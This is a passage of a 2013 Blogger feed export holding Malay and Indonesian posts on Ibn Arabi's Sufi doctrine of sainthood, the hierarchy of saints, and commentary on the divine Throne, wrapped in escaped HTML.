celaka mungkin muncul dalam bentuk bahagia sementara mereka akan menjadi
 jelas berbeza pada Kediaman Kemudian. Boleh jadi yang celaka menyatakan
 kecelakaannya dalam dunia ini dan ia berhubung dengan kecelakaan di 
Alam Kemudian. Begitu juga dengan keadaan bahagia. Walau bagaimanapun, 
mereka tidak diketahui dalam dunia ini, tetapi mereka menjadi jelas 
dalam Alam Kemudian:&lt;br /&gt;
&lt;b&gt;&lt;i&gt;“Sekarang asingkan diri-diri kamu, wahai mereka yang berdosa, pada hari ini!” (35:59)&lt;/i&gt;&lt;/b&gt;.&lt;br /&gt;
Jadi darjat dihubungkan dengan orang berkenaan dengan hubungan yang tidak akan putus ataupun berubah.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;b&gt;[Penanggung Arasy dalam alam ini dan alam kemudian]&lt;/b&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Jadi maksud lapan, iaitu
 jumlah kerajaan ditunjukkan oleh Arasy, sudah dijelaskan kepada kamu. 
Ini adalah persoalan keempat. Maksud lapan sudah jelas bagi kamu. Lapan 
ini kepunyaan lapan asbab Ilahi yang melaluinya Allah diceritakan. 
Mereka ialah: kehidupan, pengetahuan, kuasa, kehendak, pertuturan, 
pendengaran, penglihatan, dan kesempurnaan kecapan, bau dan rasa dengan 
sifat yang berhubung dengannya. Pengertian ini mengenai mereka ada 
hubungan, seperti pendengaran menyaksikan benda-benda yang didengar dan 
penglihatan menyaksikan benda-benda yang dilihat. Jadi kerajaan itu 
terkandung di dalam lapan. Empat daripadanya menyata dalam alam ini: 
bentuk, makanan dan dua darjat itu. Pada Hari Kebangkitan, kesemua yang 
lapan itu akan kelihatan pada pandangan. Allah berfirman,&lt;br /&gt;
&lt;b&gt;&lt;i&gt;“Pada hari itu lapan akan menangung di atas mereka Arasy Tuhan kamu” (69:17)&lt;/i&gt;&lt;/b&gt;.&lt;br /&gt;
Rasulullah s.a.w bersabda, “Kini mereka berempat”. Inilah penjelasan mengenai Arasy sebagai Kerajaan. &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Bagi Arasy, iaitu 
singgahsana, ia kepunyaan Allah dan malaikat-malaikat membawanya di atas
 belakang mereka. Hari ini mereka berempat, dan esok mereka berlapan 
berhubung dengan tanggungan di bumi yang dikumpulkan. Ia berhubung 
dengan empat yang menanggungnya kira-kira menyamai apa yang Ibn Masarra 
katakan. Dikatakan satunya mempunyai rupa manusia, satu singa, satu 
helang dan keempatnya lembu. Itulah yang dilihat dan dikhayalkan oleh 
Samiri sebagai Tuhan Musa. Jadi dia bina anak lembu untuk kaumnya dan 
berkata,&lt;br /&gt;
&lt;b&gt;&lt;i&gt;“Inilah Tuhan kamu dan Tuhan Musa” (20:88)&lt;/i&gt;&lt;/b&gt;, &lt;br /&gt;
menurut kisahnya. Allah menceritakan yang benar dan memimpin ke jalan yang benar.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;


&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;a class="zemanta-pixie-a" href="http://www.zemanta.com/?px" title="Enhanced by Zemanta"&gt;&lt;img alt="Enhanced by Zemanta" class="zemanta-pixie-img" src="http://img.zemanta.com/zemified_e.png?x-id=eb646126-7e21-4db8-96d7-a2870a937b8c" style="border: none; float: right;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgK_oG_rDhqWLfGWCKmy34ucBsY5bIEp-FZmvlpOABLxkViqjZQqZ0LuVUbWlFAeIKBG_vhrgEBPaHHyYX-Ir-plSwXl2vezAUYmFeqQ3kjhY9LSUr372f1jEvNVVv7mMPLL5wv-J3bpD_4JKMOmciJkT59xFj3g4-Z_0jKwAFKy-qnuxMSS03lo0zMgQc/s72-c/pictsel-davidope11.gif" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Ibnu Araby Dalam Kitab Khatamul Auliya' 9</title><link>http://alifbraja.blogspot.com/2013/08/ibnu-araby-dalam-kitab-khatamul-auliya-9.html</link><category>Ibnu Araby Dalam Kitab Khatamul Auliya'</category><pubDate>Sat, 17 Aug 2013 20:16:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-4177805104892334549</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
أشهد أن لا اله الا &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Allah" rel="wikipedia" target="_blank" title="Allah"&gt;الله&lt;/a&gt; و أشهد أن محمدا رسول الله&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #cc0000;"&gt;&lt;b&gt;HIERARKI KEWALIAN&lt;br /&gt;
&lt;br /&gt;
Syaikhul &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Akbar" rel="wikipedia" target="_blank" title="Akbar"&gt;Akbar&lt;/a&gt; Ibnu Araby dalam kitab Futuhatul Makkiyah membuat 
klasifikasi tingkatan wali dan kedudukannya. Jumlah mereka &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Sangat_%28term%29" rel="wikipedia" target="_blank" title="Sangat (term)"&gt;sangat&lt;/a&gt; 
banyak, ada yang terbatas dan yang tidak terbatas. Sedikitnya terdapat 9
 tingkatan, secara garis besar dapat diringkas sebagai berikut :&lt;br /&gt;
1. Wali Aqthab atau Wali Quthub&lt;br /&gt;
Wali yang sangat paripurna. Ia memimpin dan menguasai wali diseluruh 
alam semesta. Jumlahnya hanya seorang setiap &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Masa" rel="wikipedia" target="_blank" title="Masa"&gt;masa&lt;/a&gt;. Jika wali ini &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Glossary_of_Islam" rel="wikipedia" target="_blank" title="Glossary of Islam"&gt;wafat&lt;/a&gt;, 
maka Wali Quthub lainnya yang menggantikan.&lt;br /&gt;
2. Wali Aimmah&lt;br /&gt;
Pembantu Wali Quthub. Posisi mereka menggantikan Wali Quthub jika wafat.
 Jumlahnya dua orang dalam setiap masa. Seorang bernama Abdur Robbi, 
bertugas menyaksikan alam malakut. Dan lainnya bernama Abdul Malik, 
bertugas menyaksikan alam malaikat.&lt;br /&gt;
3. Wali Autad&lt;br /&gt;
Jumlahnya empat orang. Berada di empat &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Wilayah" rel="wikipedia" target="_blank" title="Wilayah"&gt;wilayah&lt;/a&gt; penjuru mata angin, yang 
masing-masing menguasai wilayahnya. Pusat wilayah berada di Kakbah. 
Kadang dalam Wali Autad terdapat juga wanita. Mereka bergelar Abdul 
Haiyi, Abdul Alim, Abdul Qadir dan Abdu Murid. &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #cc0000;"&gt;AL-Quthbi &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Al-Kamil" rel="wikipedia" target="_blank" title="Al-Kamil"&gt;Al-Kamil&lt;/a&gt;&lt;br /&gt;
Khatmu Al-Auliyai Al-Maktum&lt;/span&gt;
&lt;span style="color: #cc0000;"&gt;&lt;br /&gt;
Secara etimologi (bahasa), qutub berasal dari &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Kata" rel="wikipedia" target="_blank" title="Kata"&gt;kata&lt;/a&gt;&lt;br /&gt;
ط - ب - ق.&lt;br /&gt;
Artinyabintang terindah. Sedangkan secara istilah, qutub adalah manusia 
terbaik yang mengumpulkan seluruh keutamaan. Baik dalam sifat 
kemanusiaan, ibadah dan kedekatannya dengan Alloh. Seorang qutub 
merupakan Khalifah Rasulillah SAW dalam menjaga keseimbangan alam.Setiap
 masa hanya ada satu orang kutub. Ibnu Hajar menjelaskan, kata abdal 
telah masyhur dalam sejumlah khabar dan qutub telah ditemukan dalam 
beberapa atsar. Sedangkan kata ghauts tidak ditemukan sumbernya. 
Jalaluddin As-Suyuthi telah mengetengahkan akan adanya qutub, autad dan 
abdal dalam kitabnya Al-Khabarud Dallu 'Ala Wujudil Quthbi Wal Autadi 
Wan Nujabai Wal Abdalli. Keterangan ini menunjukkan adanya qutub. 
Berbeda dengan ghauts yang tidak ada penunjukkan. Hal ini berdasarkan 
pada hadits dan atsar yang ditemukan.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: lime;"&gt;&lt;b&gt;&amp;nbsp;DAFTAR PUSTAKA&lt;br /&gt;
&lt;br /&gt;
Al-Faidh Ar-Robbani, Al-Ustadz Idris bin Muhammad bin Abid Al-Husaini Al-Iroqi, Hal.: 129-130, Manuskrip.&lt;br /&gt;
Ibid, Hal.: 130.&lt;br /&gt;
Ibid, Hal.: 131.&lt;br /&gt;
Ibid, Hal.: 132.&lt;br /&gt;
Ibid, 130.&lt;br /&gt;
Ibid, 132.&lt;br /&gt;
Sayyidul Auliya Syekh Ahmad At-Tijani, H. A. Fauzan fathulloh, Hal.: 65, Manuskrip.&lt;br /&gt;
Al-Faidh Ar-Robbani, Al-Ustadz Idris bin Muhammad bin Abid Al-Husaini Al-Iroqi, Hal.: 136, Manuskrip.&lt;br /&gt;
Ibid.&lt;br /&gt;
Sayyidul Auliya Syekh Ahmad At-Tijani, H. A. Fauzan fathulloh, Hal.: 73,
 Manuskrip. Rimahu hizbi R-Rohim, Sayid Umar bin Sa'id Al-Fauthi 
At-Thuri, J.: 2, Hal.: 14, Shohibul Maktabah Khodimu T-Thorikoti 
T-Tijaniyah, 1405 H. / 1984 M.&lt;br /&gt;
Ibid.&lt;br /&gt;
Ibid, Hal.: 74. Aqwaalu L-Adillah Wa L-Barohin, Hal.: 17.&lt;br /&gt;
Al-Faidh Ar-Rabbani, Al-Ustadz Idris bin Muhammad bin Abid Al-Husaini Al-Iroqi, Hal.: 137, Manuskrip.&lt;br /&gt;
Rimahu hizbi R-Rahim, Sayid Umar bin Sa'id Al-fauthi At-Thuri, J.: 2, 
Hal.: 15, Shohibul Maktabah Khadimu T-Thariqati T-Tijaniyah, 1405 H. / 
1984 M.&lt;br /&gt;
Ibid.&lt;br /&gt;
Al-Faidh Ar-Rabbani, Al-Ustadz Idris bin Muhammad bin Abid Al-Husaini Al-Iroqi, Hal.: 137, Manuskrip.&lt;br /&gt;
Rimahu hizbi R-Rahim, Sayid Umar bin Sa'id Al-fauthi At-Thuri, J.: 2, 
Hal.: 14, Shahibul Maktabah Khadimu T-Thariqati T-Tijaniyah, 1405 H. / 
1984 M.&lt;br /&gt;
Al-Faidh Ar-Rabbani, Al-Ustadz Idris bin Muhammad bin Abid Al-Husaini Al-Iroqi, Hal.: 133, Manuskrip&lt;br /&gt;
Al-Faidh Ar-Rabbani, Al-Ustadz Idris bin Muhammad bin Abid Al-Husaini Al-Iroqi, Hal.: 135, Manuskrip.&lt;br /&gt;
Rimahu hizbi R-Rahim, Sayid Umar bin Sa'id Al-fauthi At-Thuri, J.: 2, 
Hal.: 13, Shohibul Maktabah Khodimu T-Thariqati T-Tijaniyah, 1405 H. / 
1984 M&lt;/b&gt;&lt;/span&gt;.&lt;br /&gt;


&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;a class="zemanta-pixie-a" href="http://www.zemanta.com/?px" title="Enhanced by Zemanta"&gt;&lt;img alt="Enhanced by Zemanta" class="zemanta-pixie-img" src="http://img.zemanta.com/zemified_e.png?x-id=eb646126-7e21-4db8-96d7-a2870a937b8c" style="border: none; float: right;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Ibnu Araby Dalam Kitab Khatamul Auliya' 8</title><link>http://alifbraja.blogspot.com/2013/08/ibnu-araby-dalam-kitab-khatamul-auliya-8.html</link><category>Ibnu Araby Dalam Kitab Khatamul Auliya'</category><pubDate>Sat, 17 Aug 2013 20:13:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-8312284165675198459</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
أشهد أن لا اله الا &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Allah" rel="wikipedia" target="_blank" title="Allah"&gt;الله&lt;/a&gt; و أشهد أن محمدا رسول الله&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: lime;"&gt;&lt;b&gt;&amp;nbsp;Lalu apa puncak dari tingkatan kewalian itu?&lt;/b&gt;&lt;/span&gt;
&lt;span style="color: lime;"&gt;&lt;b&gt;&lt;br /&gt;
&lt;a class="zem_slink" href="http://maps.google.com/maps?ll=-6.70388888889,106.994166667&amp;amp;spn=0.01,0.01&amp;amp;q=-6.70388888889,106.994166667%20(Puncak)&amp;amp;t=h" rel="geolocation" target="_blank" title="Puncak"&gt;Puncak&lt;/a&gt; dari tingkatan kewalian itu adalah khatmul walaayah. Ini juga 
yang disebut kutubul-auliya, poros tertinggi dari kewalian. Kalau &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Pada_%28foot%29" rel="wikipedia" target="_blank" title="Pada (foot)"&gt;pada&lt;/a&gt; 
tingkatan ini bukan sekedar berduaan. Kalau berduaan kan masih bisa 
dibedakan antara dirinya dengan Tuhannya. Jadi masih ada pemisah, aku 
&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Dan_%28rank%29" rel="wikipedia" target="_blank" title="Dan (rank)"&gt;dan&lt;/a&gt; Dia, atau aku dan Engkau. Sementara pada tingkatan ini antara hamba 
dan Tuhan itu sudah benar-benar menyatu, tidak ada lagi pemisah.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="color: magenta;"&gt;Siapa saja yang berada pada puncak kewalian ini?&lt;br /&gt;
&lt;br /&gt;
Kalau berbicara tentang person, lagi-lagi tidak ada kata sepakat. Tapi 
umumnya ulama berpandangan bahwa pada setiap zaman itu ada &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Wali" rel="wikipedia" target="_blank" title="Wali"&gt;wali&lt;/a&gt; 
kutubnya. Pengertian zaman di sini kurang lebih satu abad lamanya. Pada 
masanya Syekh Abdul Qadir Jaelani, beliau ini dipandang sebagai 
kutubul-auliya. &lt;a class="zem_slink" href="http://www.adaic.org/" rel="homepage" target="_blank" title="Ada (programming language)"&gt;Ada&lt;/a&gt; yang meniilai bahwa pada zaman itu juga sebenarnya 
ada sufi yang lain. Jadi kalau sudah berbicara pada person, bisa 
berbeda-beda. Ada yang berpandangan bahwa pada masa Ibnu Arabi, 
beliaulah wali kutubnya. Pada masa &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Abu_Hasan_%28ship%29" rel="wikipedia" target="_blank" title="Abu Hasan (ship)"&gt;Abu Hasan&lt;/a&gt; As-Sazili, beliaulah wali 
kutubnya. Jadi kalau berbicara tentang konsep umumnya bisa sepakat. Tapi
 siapa yang memenuhi kriteria-kriteria pada setiap tingkatannya itu, nah
 itu yang tidak sepakat.&lt;br /&gt;
&lt;br /&gt;
&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Derajat" rel="wikipedia" target="_blank" title="Derajat"&gt;Derajat&lt;/a&gt; kewalian itu kan pada hakikatnya merupakan kualitas hubungan 
personal antara hamba dengan Tuhannya. Lantas, mengapa kemudian ada 
identifikasi bahwa si A itu adalah wali. Bagaimana kita dapat 
mengetahuinya?&lt;br /&gt;
Ya, betul, derajat kewalian itu menyangkut essensi keberagamaan yang 
bersifat pribadi dan berdimensi batini. Karena itu ada kelompok ulama 
yang berpandangan bahwa la ya'lamul-waliyya illal-waliyyu. Artinya, 
tidak ada yang dapat mengetahui bahwa seseorang itu wali, kecuali 
seorang wali juga.&lt;/span&gt;&amp;nbsp; &lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="color: blue;"&gt;WALI ALLAH MENURUT HAKIM AT-TIRMIDZI&lt;/span&gt;&lt;/b&gt;
&lt;b&gt;&lt;span style="color: blue;"&gt;&lt;br /&gt;
Hakim at-Tirmidzi lahir di Tirmidz, Uzbekistan, Asia Tengah pada tahun 
205 H/820 M. Nama lengkapnya adalah Abu Abd Allah Muhammad bin Ali bin 
Hasan al-Hakim at-Tirmidzi. Ia berasal dari keluarga ilmuwan ahli fiqih&lt;br /&gt;
dan hadits. Memasuki puncak ketasawufan setelah mengalami goncangan 
batin sebagaimana yang di kemudian hari dialami al-Ghazali. Ia 
mendefinisikan Wali Allah adalah seorang yang demikian kokoh di dalam 
peringkat kedekatannya kepada Allah (fi martabtih), memenuhi 
persyaratan-persyaratan tertentu seperti bersikap shidq (jujur dan 
benar) dalam perilakunya, sabar dalam ketaatan kepada Allah, menunaikan 
segala kewajiban, menjaga hukum dan perundang-undangan (al-hudud) Allah,
 mempertahankan posisi (al-) kedekatannya kepada Allah. Dalam keadaan 
ini, menurut at-Tirmidzi, seorang wali mengalami kenaikan peringkat 
sehingga berada pada posisi yang demikian dekat dengan Allah, kemudian 
ia berada di hadapan-Nya, dan menyibukkan diri dengan Allah sehingga 
lupa dari segala sesuatu selain Allah. &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;


&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;a class="zemanta-pixie-a" href="http://www.zemanta.com/?px" title="Enhanced by Zemanta"&gt;&lt;img alt="Enhanced by Zemanta" class="zemanta-pixie-img" src="http://img.zemanta.com/zemified_e.png?x-id=eb646126-7e21-4db8-96d7-a2870a937b8c" style="border: none; float: right;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Ibnu Araby Dalam Kitab Khatamul Auliya' 7</title><link>http://alifbraja.blogspot.com/2013/08/ibnu-araby-dalam-kitab-khatamul-auliya-7.html</link><category>Ibnu Araby Dalam Kitab Khatamul Auliya'</category><pubDate>Sat, 17 Aug 2013 20:10:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-1111215471967489396</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
أشهد أن لا اله الا &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Allah" rel="wikipedia" target="_blank" title="Allah"&gt;الله&lt;/a&gt; و أشهد أن محمدا رسول الله&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="color: red;"&gt;Lalu tingkatan berikutnya?&lt;br /&gt;
&lt;br /&gt;
Tingkatan berikutnya, ada yang disebut al-muniibuun, yaitu orang-orang 
yang sudah senantiasa mengembalikan segala sesuatunya kepada Allah. Dia 
sudah berhasil menekan egonya, sudah dapat menekan 
kepentingan-kepentingan pribadinya, persepsinya tentang hal-hal duniawi 
sudah jernih. Orang seperti ini sudah mendekati karakter malaikat. &lt;a class="zem_slink" href="http://www.adaic.org/" rel="homepage" target="_blank" title="Ada (programming language)"&gt;Ada&lt;/a&gt; 
lagi yang disebut al-muqarrabuun, yaitu orang yang sudah benar-benar 
dekat dengan Allah. Kalau kita, misalnya kita ini betul memahami bahwa 
Allah itu dekat. Tetapi kita baru sampai &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Pada_%28foot%29" rel="wikipedia" target="_blank" title="Pada (foot)"&gt;pada&lt;/a&gt; taraf kognitif, tarap 
pemahaman. Betul saya tidak pernah mengubah pendirian saya bahwa Allah 
itu dekat. Saya yakin betul. Tetapi kita belum merasakan kedekatannya. 
Nah wali al-Muqarrabuun ini selalu dapat merasakan kedekatannya kepada 
Allah, dalam seluruh waktunya dan dalam sepanjang hidupnya.&amp;nbsp; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style="color: blue;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;
&lt;span style="color: blue;"&gt;&lt;i&gt;Ada lagi tingkatan yang lebih tinggi dari yang tadi Anda sebutkan?&lt;/i&gt;&lt;/span&gt;
&lt;span style="color: blue;"&gt;&lt;i&gt;&lt;br /&gt;
Yang lebih tinggi lagi adalah tingkatan al-munfariduun. Pada level ini 
berarti sang wali sudah mencapai tarap menyendiri bersama Tuhannya. 
Untuk dapat memahami tingkatan ini mungkin kita perlu analogi. Misalnya 
ada yang hendak bertamu kepada seseorang yang sudah dikenalnya. Kalau 
yang masih tergolong 'am, kedekatannya itu kan baru pada taraf minimal. 
Saya kenal seseorang, saya tahu siapa namanya, saya tahu apa 
pekerjaannya, saya tahu bagaimana karakternya, saya tahu di mana 
rumahnya. Baru sebatas ini. Kalau pada level berikutnya, misalnya, o ya 
saya sudah sampai ke pekarangan rumahnya, bahkan saya sudah 
dipersilahkan masuk. Tapi kalau pada tingkat al-muqarrabuun, o saya 
bukan saja sudah dipersilahkan masuk, tapi saya sudah diajak ke ruang 
tengah. Saya sudah diajak berbicara. Hanya saja saya belum bertemu 
langsung dengannya. Sebab dia masih berada dibalik hijab. Nah, kalau 
tingkatan al-munfariduun, pemilik rumah sudah menampakkan diri. &lt;a class="zem_slink" href="http://maps.google.com/maps?ll=36.5211111111,46.2088888889&amp;amp;spn=0.1,0.1&amp;amp;q=36.5211111111,46.2088888889%20(Bukan)&amp;amp;t=h" rel="geolocation" target="_blank" title="Bukan"&gt;Bukan&lt;/a&gt; 
sekedar dekat bersamanya, tapi sudah berduaan dengannya. &lt;/i&gt;&lt;/span&gt;&lt;br /&gt;


&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;a class="zemanta-pixie-a" href="http://www.zemanta.com/?px" title="Enhanced by Zemanta"&gt;&lt;img alt="Enhanced by Zemanta" class="zemanta-pixie-img" src="http://img.zemanta.com/zemified_e.png?x-id=eb646126-7e21-4db8-96d7-a2870a937b8c" style="border: none; float: right;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Ibnu Araby Dalam Kitab Khatamul Auliya' 6</title><link>http://alifbraja.blogspot.com/2013/08/ibnu-araby-dalam-kitab-khatamul-auliya-6.html</link><category>Ibnu Araby Dalam Kitab Khatamul Auliya'</category><pubDate>Sat, 17 Aug 2013 20:08:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-1579760161927121537</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;span style="color: magenta;"&gt;&lt;b&gt;أشهد أن لا اله الا &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Allah" rel="wikipedia" target="_blank" title="Allah"&gt;الله&lt;/a&gt; و أشهد أن محمدا رسول الله&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: magenta;"&gt;&lt;b&gt;Lalu, siapa saja yang sudah tergolong wali dalam pengertian yang khusus ini?&lt;/b&gt;&lt;/span&gt;
&lt;span style="color: magenta;"&gt;&lt;b&gt;&lt;br /&gt;
Sulit juga kalau berbicara tentang person. Kita paling bisa berbicara 
tentang konsep. Secara konseptual, ada yang disebut &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Walayah" rel="wikipedia" target="_blank" title="Walayah"&gt;walayah&lt;/a&gt; haqqullah. 
Istilah haq yang disandarkan kepada Allah itu mengandung beberapa 
pengertian. Dalam istilah Haq Allah itu tercermin pengertian pesan, 
ajaran dan perintah Allah. Karenanya haqullah bisa diartikan dengan 
syari'at Allah. Jadi auliya &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Pada_%28foot%29" rel="wikipedia" target="_blank" title="Pada (foot)"&gt;pada&lt;/a&gt; tingkatan ini adalah mereka yang sudah 
mampu menjalankan syari'at Allah secara kaaffah, yaitu secara 
komprehensif dan istiqamah. Jadi tidak ada konsep kewalian yang justru 
mengabaikan aspek syari'ah. Kecuali itu, istilah haqullah juga mengacu 
pada realitas wujud yang tertinggi. Jadi kewalian dalam tingkatan ini 
adalah mereka yang sudah mampu berintegrasi dengan realitas yang 
tertinggi, yaitu Allah. Pengertian berintegrasi ini tentunya harus 
mengacu pada apa yang dikonsepsikan oleh para sufi itu sendiri. &lt;a class="zem_slink" href="http://www.adaic.org/" rel="homepage" target="_blank" title="Ada (programming language)"&gt;Ada&lt;/a&gt; yang
 mengkonsepsikannya dengan ma'rifah, ada yang menyebutnya dengan 
ittihad, hulul dan lainnya. &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: magenta;"&gt;&lt;b&gt;Tingkatan berikutnya?&lt;br /&gt;
&lt;br /&gt;
Ada lagi yang disebut waliyullah, tidak digandengkan dengan istilah haq 
lagi. Tingkatan ini untuk menggambarkan bahwa sang wali itu, bukan 
berarti tidak lagi berpegang pada syari'at. Tetapi perhatian dan 
orientasinya sudah pada substansi, bukan lagi berkutat pada aspek formal
 dari syari'at. Jadi dia sudah sampai pada tingkat merasakan inti atau 
substansi dari syari'at. Dalam konteks ini, Imam Asy-Syathibi 
mengistilahkannya dengan hikmah syari'ah. Orang pada level ini adalah 
mereka yang sudah mencapai Ghaayatush-shidqi fil-' ibadah, puncak 
kesungguhan dalam beribadah. Dia sudah mencapai tarap optimal dalam 
kualitas ibadahnya. Ia sudah jauh melampaui batas minimal.&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: magenta;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;
&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;u&gt;Apa perbedaan yang spesifik di antara kedua tingkatan tadi?&lt;br /&gt;
&lt;br /&gt;
Kalau walaayah haqqullah disebut kaum shaadiquun. Sedangkan waliyullah 
disebutnya sebagai shiddiiquun. Kalau mengacu pada pendapat Ibnu Taimiah
 sebagaimana tadi sudah kita singgung, kewalian secara umum itu baru 
konsisten menjalankan segala yang diperintahkan serta menjauhi segala 
larangan Allah. Belum sepenuhnya mengerjakan yang disunatkan, belum 
meninggalkan yang dimakruhkan. Nah, kalau kelompok shaadiquun itu, 
secara lahiriyah, mereka sudah istiqamah menjalankan yang disunatkan 
serta meninggalkan yang dimakruhkan. Adapun secara batiniyah, batinnya 
itu sudah terhubungkan dengan Allah. Dengan kata lain, kelompok 
shiddiiquun adalah mereka yang sudah mencapai esensi dari syari'ah. 
Artinya sudah sampai pada penyerahan diri secara total kepada Allah. Dia
 tidak menganggap bahwa dirinya punya kemampuan. Bahkan kesadaran 
eksistensialnya sudah sirna, sudah fana. Batinnya sudah mu'allqun 
billah, sudah terpaut erat dengan Allah. Sebaliknya, orang yang jauh 
dari Allah itu kan umumnya karena mereka menganggap dirinya punya 
kemampuan, menganggap dirinya punya eksistensi yang mandiri di luar 
Tuhannya. &lt;/u&gt;&lt;/span&gt;&lt;br /&gt;


&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;a class="zemanta-pixie-a" href="http://www.zemanta.com/?px" title="Enhanced by Zemanta"&gt;&lt;img alt="Enhanced by Zemanta" class="zemanta-pixie-img" src="http://img.zemanta.com/zemified_e.png?x-id=eb646126-7e21-4db8-96d7-a2870a937b8c" style="border: none; float: right;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Ibnu Araby Dalam Kitab Khatamul Auliya' 4</title><link>http://alifbraja.blogspot.com/2013/08/ibnu-araby-dalam-kitab-khatamul-auliya-4.html</link><category>Ibnu Araby Dalam Kitab Khatamul Auliya'</category><pubDate>Sat, 17 Aug 2013 20:06:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-7196347746657224439</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
